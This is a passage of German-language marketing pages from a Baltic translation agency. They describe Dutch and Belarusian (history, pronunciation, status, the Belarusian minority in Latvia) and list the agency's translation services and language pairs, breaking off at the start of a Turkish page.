q, s, t, x, y, z. Im Niederländischen gibt es 3 Konsonantenkombinationen: „ch“, „sch“ und „ng“, die aus mehreren Konsonanten bestehen, aber einen einzigen Laut ergeben. Bei den Konsonanten gibt es nur eine entscheidende Regel: Eine Silbe oder ein Wort endet nie mit einem Doppelkonsonanten. WO UND WIE VIELE MENSCHEN SPRECHEN NIEDERLÄNDISCH? Insgesamt gibt es weltweit etwa 28 Millionen Sprecher der niederländischen Sprache. Es ist die Muttersprache von rund 23 Millionen Einwohnern der Niederlande, Belgiens, Surinames, Arubas und der ehemaligen Niederländischen Antillen. Sie wird in Frankreich und Deutschland als Minderheitensprache gesprochen. Die größten niederländischsprachigen Diasporas leben in den USA, Kanada, Australien und Neuseeland. In den USA gehört Niederländisch in 3 Bundesstaaten zu den 15 am meisten gesprochenen Sprachen: Delaware, Indiana und Ohio. Allerdings gab es früher prozentuell viel mehr Niederländischsprachige in Amerika. In New York am Hudson River sprachen die niederländischen Kolonisten und ihre Nachkommen Niederländisch. Niederländisch war die Muttersprache des8. Präsidenten der Vereinigten Staaten von Amerika, Martin Van Buren. Van Buren ist der einzige Präsident der USA, dessen Muttersprache nicht Englisch war. WIE SCHWIERIG IST NIEDERLÄNDISCH? Auf den ersten Blick scheint Niederländisch eine sehr schwierige Sprache zu sein, doch für Englisch- und Deutschsprachige ist sie überraschend einfach. Niederländisch wird sogar als eine Kombination aus Englisch und Deutsch bezeichnet! Das macht sie zu einer der am leichtesten zu erlernenden Sprachen für Sprecher beider Sprachen. Das Erlernen der niederländischen Sprache erfordert jedoch einige Zeit und Mühe, ganz gleich, welche Muttersprache Sie haben. Beim Erlernen jeder Sprache gibt es einige schwierige Abschnitte und der einzige Weg, sie zu meistern, ist, sie zu lernen. UNGEWÖHNLICHE AUSSPRACHE Die Aussprache des Niederländischen ist für viele neue Lernende schwierig. Niederländischsprachige haben selbst Probleme mit der Sprache und haben seltsame Buchstabenkombinationen. Zum Beispiel gibt es Konsonantenhäufungen wie „nk“, „sch“, „ng“ und „nk“. Außerdem gibt es solche Konsonantenhäufungen, die einen Laut ergeben und andere, die zwei Laute ergeben. Und das gilt nicht nur für Konsonanten! Ein weiterer Punkt für die schwierige Aussprache im Niederländischen sind die Doppellaute. Diese Doppellaute bestehen aus zwei Vokalen und erzeugen einen Klang, den kein Vokal der niederländischen Sprache allein erzeugen kann. Deshalb ist das Üben der gesprochenen Sprache sehr wichtig. VERWIRRENDE WORTFOLGE Der Satzaufbau in der niederländischen Grammatik ist sehr chaotisch. Je länger die Sätze werden, desto unübersichtlicher wird die Wortfolge. Bei der Bildung des komplexen Passivs und des Futurs wird die Form des Adjektivs abgetrennt und steht normalerweise am Ende des Satzes. DIE VERWENDUNG DER ARTIKEL DE UND HET Im Niederländischen kann man die Artikel de und het auf zwei Arten verwenden. Theoretisch benutzt man für alle maskulinen und feminine Wörter den Artikelde und für das Neutrum den Artikelhet: De vrouw - die Frau Der man - der Mann Het kind - das Kind Bei vielen niederländischen Wörtern gibt es jedoch keinen eindeutigen Geschlechtsbezug. Deswegen kann es recht schwierig sein, welchen Artikel man wann verwendet. Das muss man einfach hören und im Hinterkopf behalten. Das ist der schwierige Teil, wenn man Niederländisch lernt. Man sollte wirklich jede Gelegenheit nutzen und die Sprache üben, um sie wirklich zu lernen. Es ist nicht notwendig, viele Wörter oder schwierige Grammatikregeln für die Kommunikation zu kennen. Wenn Sie nur Niederländisch sprechen, hören, lesen und schreiben, ist es in Ordnung, Fehler zu machen. Man kann jahrelang die Sprache lernen und trotzdem auf Wörter stoßen, die man zuvor nie gehört hat. Nach Angaben des Foreign Service Institute sind jedoch etwa 600 Stunden (oder 24 Wochen) Lernzeit erforderlich, um Niederländisch relativ fließend zu sprechen. Natürlich ist es selten möglich, 25 Stunden pro Woche ohne Unterbrechung Niederländisch zu lernen. Die passenderen Zahlen wären also: 11,5 Stunden Unterricht pro Woche für ein Jahr. 5,5 Stunden Unterricht pro Woche für zwei Jahre. DOLMETSCHER UND ÜBERSETZER FÜR DIE NIEDERLÄNDISCHE SPRACHE Unser professionelles Dolmetscher- und Übersetzerteam arbeitet mit Übersetzungen von Standarddokumenten, technischen Übersetzungen und notariell beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek bietet auch das Lektorat und die stilistische Verbesserung von niederländischen Texten an. Unsere Sprachspezialisten geben gerne Auskunft über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen. Bei Anbetracht der engen Zusammenarbeit beider Länder in Bereichen wie Handel, Wirtschaft, Bildung Kultur und so weiter, kann man sagen, dass wir thematisch sehr breit gefächert in unseren Übersetzungen aus dem und ins Niederländische sind. Für Geschäftskunden führen wir am häufigsten diese Übersetzungen aus dem/ ins Niederländische durch: Homepage und Adaption, Inhalt von E-Commerce und Werbeslogans, Marketingtexte, auch Kooperationsverträge und Geschäftsunterlagen. Wir bieten auch Konsekutiv- und Simultanübersetzungen bei geschäftlichen und anderen Treffen, Konferenzen und anderen Veranstaltungen an. Für Privatpersonen übersetzen wir persönliche Ausweisdokumente, Heiratsurkunden, Geburtsurkunden, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. NIEDERLÄNDISCH IN DER GESCHÄFTSWELT Die Niederlande sind eines der reichsten Länder der Welt, daher hat die niederländische Sprache einen größeren wirtschaftlichen Einfluss, als man vielleicht denkt. Obwohl viele Niederländer Englisch sprechen, wird der Geschäftsverkehr in den Niederlanden immer noch auf Niederländisch abgewickelt. Wenn Sie in den Niederlanden leben und arbeiten möchten, sind Kenntnisse der Landessprache hilfreich, um die niederländische Kultur zu verstehen. Mit Englisch kommen Sie auf aber jeden Fall gut zurecht. BILATERALE BEZIEHUNGEN ZWISCHEN LETTLAND UND DEN NIEDERLANDEN Lettland und die Niederlande unterhalten enge und freundschaftliche Beziehungen, die sich durch einen regelmäßigen politischen Dialog und vielfältige Formen der Zusammenarbeit auszeichnen, insbesondere in den Bereichen Wirtschaft, Kultur und Bildung. Die Niederlande sind schon seit jeher ein wichtiger wirtschaftlicher Kooperationspartner Lettlands. Die Anfänge der bilateralen Wirtschaftsbeziehungen zwischen den Niederlanden und Lettland gehen auf die Zeit der Hanse zurück. Vom13. bis zum17. Jahrhundert förderte der Handel zwischen Hafenstädten wie Riga, Amsterdam und Groningen das wirtschaftliche Wachstum der beiden Länder. Heutzutage betont Lettland immer wieder sein Interesse an der Entwicklung und Verbesserung der wirtschaftlichen Beziehungen zu den Niederlanden und fördert Exporte mit hohem Mehrwert in die Niederlande. Lettland und die Niederlande haben offene und dynamische Volkswirtschaften, deren Zusammenarbeit durch relativ stabile, hohe bilaterale Handelsindikatoren und das Volumen der niederländischen Investitionen in Lettland bestätigt wird. Die Zusammenarbeit zwischen den beiden NATO- und EU-Mitgliedstaaten erfolgt auf der Grundlage der am 19. September 2008 in London unterzeichneten Vereinbarung zwischen den Verteidigungsministerien der Republik Lettland und des Königreichs der Niederlande über die Verteidigungs- und Militärbeziehungen. Ziel der Absichtserklärung ist es, die bilaterale Zusammenarbeit zwischen Lettland und den Niederlanden im Bereich der Verteidigungsressourcen in der NATO und der EU fortzusetzen und zu vertiefen. Lettland arbeitet im Bereich Verkehr und Logistik erfolgreich mit den Niederlanden zusammen. Der Hafen von Riga arbeitet dank regelmäßiger Containerlinien(Containerschiffe, Unifeeder Container Service und Mann Line Multimodal) erfolgreich mit dem Hafen von Rotterdam zusammen. Darüber hinaus wurden seit 2016 einige Test-Containerzugtransporte zwischen China und Lettland organisiert, unter anderem auf der Eisenbahn-See-Strecke Ürümqi-Riga-Rotterdam. Lettland ist weiterhin daran interessiert, seine günstige geografische Lage und seine Infrastruktur für den Güterverkehr zwischen Europa und Asien anzubieten. Lettland arbeitet eng in der Bildung mit traditionsreichen niederländischen Hochschulen zusammen. Ein großer Teil der staatlichen und privaten Hochschuleinrichtungen Lettlands hat Kooperationsvereinbarungen mit Hochschuleinrichtungen in den Niederlanden für den Austausch von Studierenden, Professoren und Forschern unterzeichnet. Die lettischen Hochschuleinrichtungen arbeiten im Rahmen des Bildungs- und Forschungsprogramms der EU aktiv mit den niederländischen Hochschuleinrichtungen zusammen. Jedes Jahr nimmt eine große Zahl lettischer Jugendlicher an niederländischen Hochschulen ein Bachelor- oder Masterstudium auf. Die Zusammenarbeit beider Länder ist im Bereich der Kultur sehr eng, da sie auf kulturhistorischen Beziehungen und beruflichem Interesse aneinander beruht. Sie erfolgt in Zusammenarbeit beider Länder und in internationalen Projekten mit mehreren Teilnehmern. Die Zusammenarbeit in der Kultur findet in folgenden Bereichen statt: Kreativwirtschaft, Museen, Musik, Bibliotheken, Kunst, Kino, Theater und kulturelle Bildung. Die niederländische Botschaft arbeitet aktiv an der Förderung der Zusammenarbeit beider Länder in verschiedenen Bereichen und kümmert sich auch um die Bürger ihres Landes, die sich in Lettland aufhalten. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS NIEDERLÄNDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Niederländisch; Niederländisch nach Lettisch; Estnisch nach Niederländisch; Niederländisch nach Estnisch; Litauisch nach Niederländisch; Niederländisch nach Litauisch; Russisch nach Niederländisch; Niederländisch nach Russisch; Englisch nach Niederländisch; Niederländisch nach Englisch; Tschechisch nach Niederländisch; Niederländisch nach Tschechisch; Polnisch nach Niederländisch; Niederländisch nach Polnisch; Ukrainisch nach Niederländisch; Niederländisch nach Ukrainisch; Niederländisch nach Spanisch; Spanisch nach Niederländisch; Deutsch nach Niederländisch; Niederländisch nach Deutsch; Italienisch nach Niederländisch; Niederländisch nach Italienisch; Französisch nach Niederländisch; Niederländisch nach Französisch; Dänisch nach Niederländisch; Niederländisch nach Dänisch; Norwegisch nach Niederländisch; Niederländisch nach Norwegisch; Schwedisch nach Niederländisch; Niederländisch nach Schwedisch; Finnisch nach Niederländisch; Niederländisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS NIEDERLÄNDISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Niederländisch; Niederländisch nach Lettisch; Estnisch nach Niederländisch; Niederländisch nach Estnisch; Litauisch nach Niederländisch; Niederländisch nach Litauisch; Russisch nach Niederländisch; Niederländisch nach Russisch; Englisch nach Niederländisch; Niederländisch nach Englisch; Tschechisch nach Niederländisch; Niederländisch nach Tschechisch; Polnisch nach Niederländisch; Niederländisch nach Polnisch; Ukrainisch nach Niederländisch; Niederländisch nach Ukrainisch; Niederländisch nach Spanisch; Spanisch nach Niederländisch; Deutsch nach Niederländisch; Niederländisch nach Deutsch; Italienisch nach Niederländisch; Niederländisch nach Italienisch; Französisch nach Niederländisch; Niederländisch nach Französisch; Dänisch nach Niederländisch; Niederländisch nach Dänisch; Norwegisch nach Niederländisch; Niederländisch nach Norwegisch; Schwedisch nach Niederländisch; Niederländisch nach Schwedisch; Finnisch nach Niederländisch; Niederländisch nach Finnisch und andere. --- > Übersetzungen und andere Sprachdienstleistungen in die belarussische Sprache. Mehr als 25 Jahre Erfahrung. Erhalten Sie ein kostenloses Angebot innerhalb von 25 Minuten! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS BELARUSSISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS BELARUSSISCHE? Der Preis der Übersetzungen wird für jeden Auftrag individuell berechnet. Der Preis der Dienstleistung hängt von mehreren Faktoren ab: Abgabefrist, Textumfang, Korrekturlesen, Formatierung sowie vom Kunden bestellte Zusatzleistungen (notarielle Beglaubigung usw. ). IST DIE PREISLISTE FÜR ÜBERSETZUNGEN VERFÜGBAR? Ja, die Preisliste für Übersetzungen aus dem und ins Belarussische ist ein wesentlicher Bestandteil unserer Kundenverträge und der Kunde wird vor Auftragsbeginn genaustens über den Preis der Übersetzung informiert. Die Preise für Übersetzungen werden individuell festgelegt und richten sich nach der Art der Dienstleistung (Übersetzung oder Dolmetschen), der Anzahl der Wörter im Originaltext, der Textwiederholungen in der Übersetzung und anderen Parametern. Um ein speziell für Sie erstelltes Preisangebot zu erhalten, senden Sie uns das zu übersetzende Material. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Belarussische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere belarussischen Sprachdienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Weißrussische Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Brauchen Sie eine Sprachdienstleistung auf Belarussisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE BELARUSSISCHE SPRACHE Belarussisch gehört zur ostslawischen Sprachfamilie, die hauptsächlich von Belarussen gesprochen wird. Nach dem Referendum vom 14. Mai 1995 verlor Belarussisch seinen Status als einzige Amtssprache, sein Ansehen und es wurde in Belarus zusehend immer weniger genutzt. Bei der ersten belarussischen Volkszählung im Jahr 1999 wurde Belarussisch von rund 4 Millionen belarussischen Bürgern, d. h. 36,7% der Bevölkerung, als „in der Familie gesprochene Sprache“ angegeben. Etwa 7 Millionen oder 85,6% der Belarussen bezeichnen es als ihre „Muttersprache“. Laut einer Studie der belarussischen Regierung aus dem Jahr 2009 sprechen 72% der Belarussen zu Hause Russisch, während nur 11,9% der Belarussen aktiv Belarussisch sprechen. Etwa 29,4% der Belarussen können Belarussisch schreiben, sprechen und lesen, während 52,5% nur lesen und sprechen können. Belarussisch ist die Nationalsprache der Belarussen und die Amtssprache der Republik Belarus, aber die belarussische Schriftsprache wird nur von einer Minderheit der Bevölkerung gesprochen (die optimistischste Schätzung geht von nicht mehr als 28% der belarussischen Bevölkerung aus), und zwar hauptsächlich in Familien, die die Sprache bewusst pflegen. Im Belarussischen gibt es keine lockere Kommunikation im häuslichen Bereich. Die meisten Menschen, die behaupten, Belarussisch zu sprechen, sprechen in Wirklichkeit eine Mischung aus Russisch und Belarussisch, das so genannte Trassjanka. Es enthält hauptsächlich russisches Vokabular, aber auch belarussische Grammatik und Phonetik. Trassjanka ist die Vermischung des belarussischen Dialekts mit dem modernen literarischen Russisch. Man kann auch sagen, dass Trassjanka von einer Umgangssprache in den Journalismus geschafft hat. Das hat sich in Belarus aus verschiedenen Gründen so entwickelt, aber einer der Hauptgründe dafür war, dass im belarussischem Referendum 1996 entschieden wurde, dass Russisch mit Belarussisch gleichgestellt wird. Die Funktionen der beiden Landessprachen sind äußerst ungleich verteilt. Es werden keine Gerichtsverfahren in belarussischer Sprache geführt und es gibt fast keine öffentlichen Aufzeichnungen. Die belarussische Sprache wird aktiv von der russischen Sprache verdrängt und die Tendenz zur Schließung von Publikationen in belarussischer Sprache nimmt zu (angefangen beim Journalismus). Das Russische spielt eine aktive Rolle bei der Erweiterung des Wortschatzes der belarussischen Sprache, aus der eine große Anzahl von Wörtern und Begriffen aus den Bereichen Wirtschaft, Kultur, Wissenschaft, Produktion und anderen Bereichen des gesellschaftlichen Lebens entlehnt wurde. Die enge Beziehung zu den Litauern aufgrund der geografischen Nähe und der jahrhundertelangen Koexistenz im selben Gebiet haben dazu geführt, dass sich im Wörter lettischen Ursprungs im Belarussischen gibt. Die fast vierhundertjährige Entwicklung der belarussischen Sprache unter den Bedingungen der belarussisch-polnischen Zweisprachigkeit ist einer der Gründe, warum es so viele Polonismen im Belarussischen gibt. Deutsche Kaufleute, Handwerker und Militärleute, die während des litauischen Großfürstentums eingeladen wurden, brachten Germanismen in den belarussischen Wortschatz ein. Zu den Germanismen im modernen Belarussisch gehören Wörter aus den Bereichen Handwerk, Bauwesen, Kriegsführung und Handel. AUSSPRACHEN Es gibt zwei Dialekte des Belarussischen: den nordöstlichen und den südwestlichen Dialekt. Sie sind durch die mittleren belarussischen Übergangsdialekte getrennt. Die belarussischen Dialekte liegen eng zusammen, die Sprecher eines Dialekts können die Sprache eines anderen Dialekts fließend verstehen. Heute lernen immer weniger Menschen Belarussisch. In regionalen Zentren und Großstädten lernen nur wenige Schüler in ihrer Muttersprache. Es gibt keine Hochschuleinrichtungen, die Unterricht in belarussischer Sprache anbieten. Das ist eines der Hauptgründe, warum Eltern ihre Kinder nicht in belarussische Schulen schicken möchten. Im Schuljahr 1994/95 wurden 58% der Schüler in den ersten Klassen der Grundschule in Belarussisch (in Minsk) unterrichtet. Nachdem Lukaschenko 1994 an die Macht kam, ging die Zahl der Klassen zurück. 1999 wurden nur 5,3% der Schüler der ersten Grundschulklasse in Minsk auf Belarussisch unterrichtet. Im Schuljahr 2016/17 lernten fast 128. 000 Schüler (13,3% der Gesamtschülerzahl) Belarussisch. Die meisten belarussischen Sprachschulen befinden sich in ländlichen Gebieten und werden nach und nach geschlossen, da die Menschen in die Städte ziehen. Jedes Jahr werden circa 100 Schulen in Belarus geschlossen, in denen hauptsächlich auf Belarussisch gelehrt wird. Schüler von diesen Schulen versetzt man tendenziell an russischsprachige Schulen. So verliert man an Schülern, die auf Belarussisch unterrichtet werden. In den Städten gibt es nur sieben belarussische Sprachschulen, sechs davon in Minsk, der Hauptstadt von Belarus (2019). Belarussisch wird im UNESCO-Atlas der gefährdeten Sprachen aufgeführt. DAS BELARUSSISCHE ALPHABET Das belarussische Alphabet basiert auf der kyrillischen Schrift und ist vom slawischen Alphabet der Alten Kirche abgeleitet. In ihrer modernen belarussischen Form existiert sie seit 1918. Davor wurde Belarussisch auch mit dem belarussischen lateinischen Alphabet (Łacinka/Лацінка), dem belarussischen arabischen Alphabet und dem hebräischen Alphabet geschrieben. Eine besondere Seite in der Geschichte der alten belarussischen Schrift im 16. und 17. Jahrhundert sind die handgeschriebenen Bücher in belarussischer Sprache in arabischer Schrift - die Kitabs. Diese wurden ab dem 16. Jahrhundert von den in Litauen und Belarus ansässigen Krimtataren geschaffen, die letztendlich ihre eigene Volkssprache verloren haben. Sie haben Belarussisch nicht nur gesprochen, sondern auch geschrieben. Die Schrift wurde für verschiedene Arten islamischer Texte und orientalischen weltlichen Übersetzungen verwendet. Diese Artefakte sind unter anderem deshalb so wertvoll, weil sie durch die Verwendung arabischer Buchstaben systematisch die phonetischen Besonderheiten der belarussischen Sprache aufzeigen, die nur gelegentlich in alten, in kyrillischer Schrift verfassten belarussischen Artefakten zu finden sind. WIE SCHWIERIG IST BELARUSSISCH? Belarussisch ist mit Russisch und Ukrainisch verwandt, so dass es für Sprecher dieser Sprachen einfach sein sollte, Belarussisch zu lernen. Es hat einen guten phonetischen Klang und die Grammatik ist dem Russischen sehr ähnlich. Das Erlernen einer Sprache könnte dadurch erschwert werden, dass es heutzutage schwierig ist, Lehrmaterial zu finden, denn man findet eher russifiziertes Angebot. In den belarussischen Schulen lernen die Kinder, so traurig das auch sein mag, ihre Landessprache, das Belarussische, als Fremdsprache, genau wie Englisch. ÜBERSETZER UND DOLMETSCHER FÜR BELARUSSISCH Das Übersetzungsbüro Skrivanek bietet professionelle schriftliche Textübersetzungen und Dolmetschen in und aus dem Belarussischen. Die Übersetzungen werden von Dolmetschern angefertigt, die über langjährige Erfahrung auf ihrem Gebiet und über Fachkenntnisse in verschiedenen Bereichen verfügen. Unsere Erfahrung garantiert, dass die Übersetzung dem Originaltext entspricht und die enthaltenen Informationen verständlich sind. Korrekturleser kümmern sich um stilistische Verbesserungen und die Korrektur des Textes. Unser Team von Übersetzern und Dolmetschern bietet den Kunden von Skrivanek sowohl normale als auch notariell beglaubigte Übersetzungen an. Für juristische und natürliche Personen bieten wir sowohl Gerichtsdolmetschen als auch Dolmetschen bei Geschäftsverhandlungen an. Wir übersetzen technische Dokumentation, Websites, Verträge und E-Commerce-Inhalte aus dem und ins Belarussische. Für jede Kundenanfrage finden wir mit Sicherheit die beste Dienstleistung und den passenden Sprachspezialisten dazu. Für Privatpersonen bieten wir Übersetzungen von Ausweisdokumenten, Heiratsurkunden, Bildungsdokumenten und anderen zivilrechtlichen Dokumenten sowie Dolmetschen aus dem/ ins Belarussische. BELARUSSISCHE SPRACHE IN DER GESCHÄFTSWELT Angesichts der aktuellen politischen Situation in Belarus wird Belarussisch dort kaum als Geschäftssprache verwendet. Russisch als zweite Amtssprache wird verwendet. Natürlich ist Belarussisch die Muttersprache eines großen Teils der belarussischen Bevölkerung, aber es wird eher als Sprache der alltäglichen Kommunikation zu Hause verwendet. Russisch und Englisch werden für die geschäftliche Kommunikation mit Partnern aus anderen Ländern verwendet. BELARUSSEN IN LETTLAND Die lettischen Belarussen sind nach den lettischen Russen die zweitgrößte Minderheit. Belarussen leben seit Jahrhunderten im Südosten Lettlands. Die Handelsbeziehungen über die Daugava, den gemeinsamen Fluss der beiden Völker, wurden seit dem Mittelalter aufrechterhalten. Auch in Belarus hat es immer schon kleine lettische Gemeinschaften gegeben. Die lettischen Belarussen machen immer noch einen großen Teil der Bevölkerung an der belarussischen Grenze aus. Vor dem Zweiten Weltkrieg lebten bis zu 37. 000 Belarussen in Lettland. Die Jahre der lettischen Unabhängigkeit nach dem Ersten Weltkrieg kam den Belarussen sehr gelegen, da sie offiziell als Minderheit anerkannt wurden. Die belarussische Intelligenzija erhielt staatliche Unterstützung, gründete den Kultur- und Bildungsverein „Tēvija“ („Бацькаўшчына“) und eröffnete mehr als 50 belarussische Schulen und Gymnasien. In dieser Zeit wurden Presseveröffentlichungen in belarussischer Sprache herausgegeben, belarussische Vereine und Theater gegründet. Damals begannen die Belarussen auch, sich um den Schutz und die Entwicklung ihrer Sprache zu kümmern. Im Jahr 1934 wurden die belarussischen Schulen abgeschafft, weil die lettische Sprache in Latgale die Oberhand zu gewinnen begann. Einige Schulen wurden während der deutschen Besatzung wiedereröffnet, um dann 1944 wieder geschlossen zu werden. In den 1950er bis 1980er Jahren gab es eine große Welle belarussischer Migration nach Lettland, wegen der totalitäten Sowjetunion. Daher leben heute etwa 80. 000 Belarussen in Lettland, aber für viele ist ihre ethnische Zugehörigkeit eher eine Frage der ethnischen Herkunft als der Identität. Nur ein Fünftel der Belarussen sprechen ihre Muttersprache. Die meisten Belarussen leben in gemischten Familien, in denen Russisch die vorherrschende Sprache ist. In Lettland gibt es nur eine einzige belarussische Grundschule - die belarussiche Yanka-Kupala-Grundschule, die belarussischen Kindern helfen soll, ihre Sprache und Kultur zu bewahren und sich in die lettische Gesellschaft zu integrieren. Leider kann die Schule keine weiterführende Ausbildung anbieten. Auf der eigenen Muttersprache unterrichtet zu werden, ist zweifelsohne die beste Möglichkeit. Die belarussischen Verbände tun ihr Bestes, um ihre Identität zu bewahren, die Erhaltung und Entwicklung der Volkslieder, der Sprache und der Kultur der in Lettland lebenden Belarussen zu fördern sowie die soziale Integration und die internationale Zusammenarbeit zu unterstützen. 2011 veröffentlichte die Lettisch-Belarussische Union mit Unterstützung der Stadtverwaltung von Riga, der Botschaft von Belarus, Liepāja Metalurgs und Iļģuciems das erste lettisch-belarussische und belarussisch-lettische Wörterbuch, das von der Linguistin Mirdza Ābola begonnen und nach ihrem Tod unter der Aufsicht von Ivan Lučic-Fedorec, Mitarbeiter des Instituts für Sprache und Literatur der Belarussischen Akademie der Wissenschaften und Kandidat der philologischen Wissenschaften, fertiggestellt und zum Druck vorbereitet wurde. Derzeit werden die Interessen der belarussischen Bevölkerung und der Belarussen in Lettland durch das belarussische Konsulat in Daugavpils vertreten. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS BELARUSSISCHE: allgemeine und fachspezifische Übersetzungen; schriftliche Eilaufträge; notariell beglaubigte Übersetzungen; maschinelle Übersetzung mit Bearbeitung; Textadaption und Copywriting; Lokalisierung; DTP - Desktop Publishing; Dolmetschen; Sprachkurse. SPRACHKOMBINATIONEN: Lettisch nach Belarussisch; Belarussisch nach Lettisch; Estnisch nach Belarussisch; Belarussisch nach Estnisch; Litauisch nach Belarussisch; Belarussisch nach Litauisch; Russisch nach Belarussisch; Belarussisch nach Russisch; Tschechisch nach Belarussisch; Belarussisch nach Tschechisch; Polnisch nach Belarussisch; Belarussisch nach Polnisch; Ukrainisch nach Belarussisch; Belarussisch nach Ukrainisch; Belarussisch nach Spanisch; Spanisch nach Belarussisch; Deutsch nach Belarussisch; Belarussisch nach Deutsch; Italienisch nach Belarussisch; Belarussisch nach Italienisch; Französisch nach Belarussisch; Belarussisch nach Französisch; Dänisch nach Belarussisch; Belarussisch nach Dänisch; Norwegisch nach Belarussisch; Belarussisch nach Norwegisch; Schwedisch nach Belarussisch; Belarussisch nach Schwedisch; Finnisch nach Belarussisch; Belarussisch nach Finnisch und andere. UNSERE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS BELARUSSISCHE: allgemeine und fachspezifische Übersetzungen; schriftliche Eilaufträge; notariell beglaubigte Übersetzungen; maschinelle Übersetzung mit Bearbeitung; Textadaption und Copywriting; Lokalisierung; DTP - Desktop Publishing; Dolmetschen; Sprachkurse. SPRACHKOMBINATIONEN: Lettisch nach Englisch; Englisch nach Lettisch; Lettisch nach Belarussisch; Belarussisch nach Lettisch; Estnisch nach Belarussisch; Belarussisch nach Estnisch; Litauisch nach Belarussisch; Belarussisch nach Litauisch; Russisch nach Belarussisch; Belarussisch nach Russisch; Tschechisch nach Belarussisch; Belarussisch nach Tschechisch; Polnisch nach Belarussisch; Belarussisch nach Polnisch; Ukrainisch nach Belarussisch; Belarussisch nach Ukrainisch; Belarussisch nach Spanisch; Spanisch nach Belarussisch; Deutsch nach Belarussisch; Belarussisch nach Deutsch; Italienisch nach Belarussisch; Belarussisch nach Italienisch; Französisch nach Belarussisch; Belarussisch nach Französisch; Dänisch nach Belarussisch; Belarussisch nach Dänisch; Norwegisch nach Belarussisch; Belarussisch nach Norwegisch; Schwedisch nach Belarussisch; Belarussisch nach Schwedisch; Finnisch nach Belarussisch; Belarussisch nach Finnisch und andere. --- > Allgemeine und Fachübersetzungen, Dolmetschen, Lokalisierung und andere türkische Sprachdienstleistungen. Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS TÜRKISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS TÜRKISCHE? Der Preis für die Auftrag wird individuell berechnet. Er errechnet sich aus mehreren Komponenten: Abgabefrist, Besonderheiten im Text, Verfügbarkeit der Terminologie, Schwierigkeitsgrad des Textes, Bilder, Tabellen, Korrekturen, Formatierung und andere vom Kunden gewünschte Zusatzleistungen (notarielle Beglaubigung, Apostille usw. ). GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen und Dolmetscherdienste aus dem und ins Türkische ist in unseren Kundenverträgen enthalten. Vor Auftragsbeginn unterbreiten wir stets einen detaillierten Preis für die Übersetzung. Der Preis für jeden Auftrag wird individuell nach der aktuellen Preisliste von Skrivanek festgelegt und richtet sich nach der Anzahl der Wörter im Ausgangstext, den Wortwiederholungen in der Übersetzung und anderen Aspekten. Um einen speziellen Preis für Sie unterbreiten zu können, warten wir auf die Übersetzung Ihres Materials per E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Türkische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in türkischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles 